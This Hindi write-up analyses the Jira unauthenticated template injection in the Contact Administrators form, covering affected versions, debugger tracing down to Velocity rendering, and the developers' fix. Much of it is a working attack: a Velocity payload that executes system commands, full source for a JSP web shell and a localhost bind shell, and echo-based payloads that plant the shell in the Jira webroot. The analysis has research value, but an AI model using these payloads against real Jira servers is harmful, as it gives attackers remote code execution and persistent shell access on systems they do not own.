
Atlassian Jira बिना प्रमाणीकरण टेम्पलेट इंजेक्शन
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= का मान ./bin/setenv.bat फ़ाइल में संपादित करें (या लिनक्स के लिए ./bin/setenv.sh के समान) ताकि रिमोट डिबग चलाया जा सके।set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug जिसमें host और port का मान localhost:5005 है और Command line aguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
./bin/config.bat फ़ाइल चलाएँ (या लिनक्स के लिए config.sh फ़ाइल) और "Jira home" को अपने jira home निर्देशिका में संशोधित करें।

./bin/start-jira.bat फ़ाइल चलाएँ (या लिनक्स के लिए ./bin/start-jira.sh). अगर नहीं चलता है तो आप java version, port 8080 और 5005 की जाँच करें कि वे free हैं या नहीं!
हम private mode चुनते हैं।

इस चरण तक, आप एक ऐसे ईमेल पते का उपयोग करें जो ईमेल प्राप्त कर सके :)

कॉन्फ़िगर करें और कनेक्शन टेस्ट अच्छी तरह कर लें।

http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa पर हम Contact Administrators Form सुविधा सक्षम करते हैं।

मैंने building के दौरान कुछ नोट्स ही लिखे हैं, आप building jira from source देख सकते हैं।
Advisory पढ़ने के बाद हमें पता चलता है कि यह बग ContactAdministrators और SendBulkMail में है (इसे मैं छोड़ देता हूँ क्योंकि इसके लिए प्रमाणीकरण आवश्यक है)। इसलिए मैं ContactAdministrators सुविधा का परीक्षण शुरू करता हूँ और अनुरोध पकड़ता हूँ।

मैं देखता हूँ कि अनुरोध /secure/ContactAdministrators.jspa पर जाता है, इसलिए मैं ./atlassian-jira/WEB-INF/web.xml फ़ाइल देखता हूँ कि यह अनुरोध किस क्लास में भेजा जाएगा।


इस तरह अनुरोध JiraWebworkActionDispatcher में संसाधित होगा, इसलिए मैंने इस क्लास के init और server पर breakpoint लगाया और डिबग चलाया।

इस तरह प्रोग्राम server फ़ंक्शन पर रुका, थोड़ा trace करने पर प्रोग्राम ContactAdministrators.doExecute() में प्रवेश करता है।

फिर send से गुजरते हुए, यहाँ प्रोग्राम सक्रिय एडमिन खातों की सूची बनाता है।

फिर प्रोग्राम sendTo फ़ंक्शन से गुजरता है। यहाँ हम देखते हैं कि प्रोग्राम एक MailQueueItem बनाता है और उसे mailQueue में जोड़ता है।

प्रोग्राम EmailBuilder.withSubject फ़ंक्शन को कॉल करता है। यहाँ ईमेल का subject स्ट्रिंग (हमलावर द्वारा भेजा गया) String से TemplateSources में परिवर्तित होता है और EmailBuilder के subjectTemplate पैरामीटर को सौंप दिया जाता है।

renderLater फ़ंक्शन में प्रोग्राम एक EmailRenderer बनाता है और उसका उपयोग RenderingMailQueueItem बनाने के लिए करता है।

यहाँ से, जब हम ContactAdministrators.sendTo फ़ंक्शन पर लौटते हैं। MailQueueItem बनाने के बाद प्रोग्राम आइटम को mailQueue में जोड़ता है और फिर Redirect के लिए doExecute फ़ंक्शन पर लौट जाता है। अगर हम इस डिबग प्रवाह का पालन करें, तो हम उस हिस्से तक नहीं पहुँच सकते जहाँ प्रोग्राम ईमेल render करता है, इसलिए template injection वाले हिस्से तक नहीं पहुँच सकते। तो ईमेल प्रोसेसिंग को ट्रैक करने के लिए मुझे क्या करना चाहिए???
मैंने देखा कि EmailRenderer में renderNow फ़ंक्शन है (प्रोग्राम केवल renderLater को कॉल करता है), मुझे लगा कि जब queue में ईमेल render के लिए बुलाया जाता है, तो वह भी renderNow के समान प्रवाह से गुजरेगा, इसलिए मैंने renderNow फ़ंक्शन से trace करने का निर्णय लिया।

renderNow से प्रोग्राम EmailRenderer.render() को कॉल करता है। मैंने यहाँ breakpoint लगाया और फिर से अनुरोध किया कि प्रोग्राम वास्तव में यहाँ तक चलता है या नहीं।

सौभाग्य से, प्रोग्राम मेरे अनुमान के अनुसार सही दिशा में गया। आगे प्रोग्राम renderEmailSubject को कॉल करता है।

आगे प्रोग्राम DefaultVelocityTemplatingEngine.render(this.subjectTemplate) को कॉल करता है।

DefaultVelocityTemplatingEngine.applying और DefaultVelocityTemplatingEngine.asPlainText पर पहुँचते हैं।

आगे asPlainText(Writer writer) को कॉल करते हैं।

toWriterImpl पर पहुँचते हैं, क्योंकि मैंने जो writer दिया है वह एक Fragment है, इसलिए प्रोग्राम else पर जाता है।
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent को कॉल करता है।

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader) से होते हुए। यहाँ प्रोग्राम ने Reader से एक SimpleNode बनाया।

render फ़ंक्शन तक चलता है, यहाँ प्रोग्राम Velocity टेम्पलेट को parse करने के लिए nodeTree.render(ica, writer); कॉल करता है, इसलिए यहाँ हम Template injection कर सकते हैं!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()


ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
इस प्रकार हम jira सर्वर पर RCE कर सकते हैं, लेकिन अगर हमें एक shell चाहिए और सर्वर में outbound नहीं है, तो क्या करें? इस स्थिति में हम सामान्य रूप से bind/reverse shell नहीं बना सकते, क्योंकि हमारे पास इंटरनेट तक जाने के लिए port नहीं है।
मुझे @honson97 से एक सुझाव मिला: "एक web jsp का उपयोग करें जो हमलावर से input प्राप्त करे और फिर उसे एक स्वतंत्र रूप से कार्य करने वाले bind shell में भेजे जो सर्वर के localhost पर listen करता है।"

इस विचार से, मैंने दो jsp फाइलें लिखीं: web.jsp और blind.jsp। blind.jsp एक blind shell के रूप में कार्य करता है, हमेशा localhost:4444 पर सुनता है, cmd/base में दिए गए कमांड को प्राप्त करता है और परिणाम web jsp web.jsp को लौटाता है, और web.jsp ही वह टूल है जिससे हमलावर कमांड input/output करता है।
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
अगला कदम सर्वर पर shell अपलोड करना है, क्योंकि हम सर्वर को outbound न होने की स्थिति में मान रहे हैं, इसलिए हम केवल echo कमांड से फ़ाइल अपलोड कर सकते हैं। पहले मैं "\n" वर्ण और विशेष Escape Characters हटाता हूँ (python द्वारा)।
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
फिर प्राप्त string को कॉपी करके payload में डालें।
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
web.jsp और bind.jsp दो फ़ाइलों को अपलोड करने के बाद। हम /bind.jsp खोलते हैं, फिर दूसरे टैब में /web.jsp?cmd=COMMAND खोलकर shell का परीक्षण करते हैं।

ContactAdministrators.sendTo() में, क्लाइंट से इनपुट को सीधे EmailBuilder.withSubject फ़ंक्शन में डालकर TemplateSources (जो render हो सकते हैं) में बदलने के बजाय, फिक्स में डेवलपर्स ने इनपुट को एक string context के रूप में डाला और केवल स्ट्रिंग "$subject" को EmailBuilder.withSubject फ़ंक्शन में दिया। Render करते समय, सिस्टम "$subject" टेम्पलेट को निष्पादित करता है, यानी subject - string context (क्लाइंट से इनपुट) को लोड करता है, उन्हें render नहीं करता। दूसरे शब्दों में, प्रोग्राम इनपुट को एक स्ट्रिंग के रूप में लोड करता है, न कि render होने योग्य टेम्पलेट के रूप में।
बग संस्करण
सुधारित संस्करण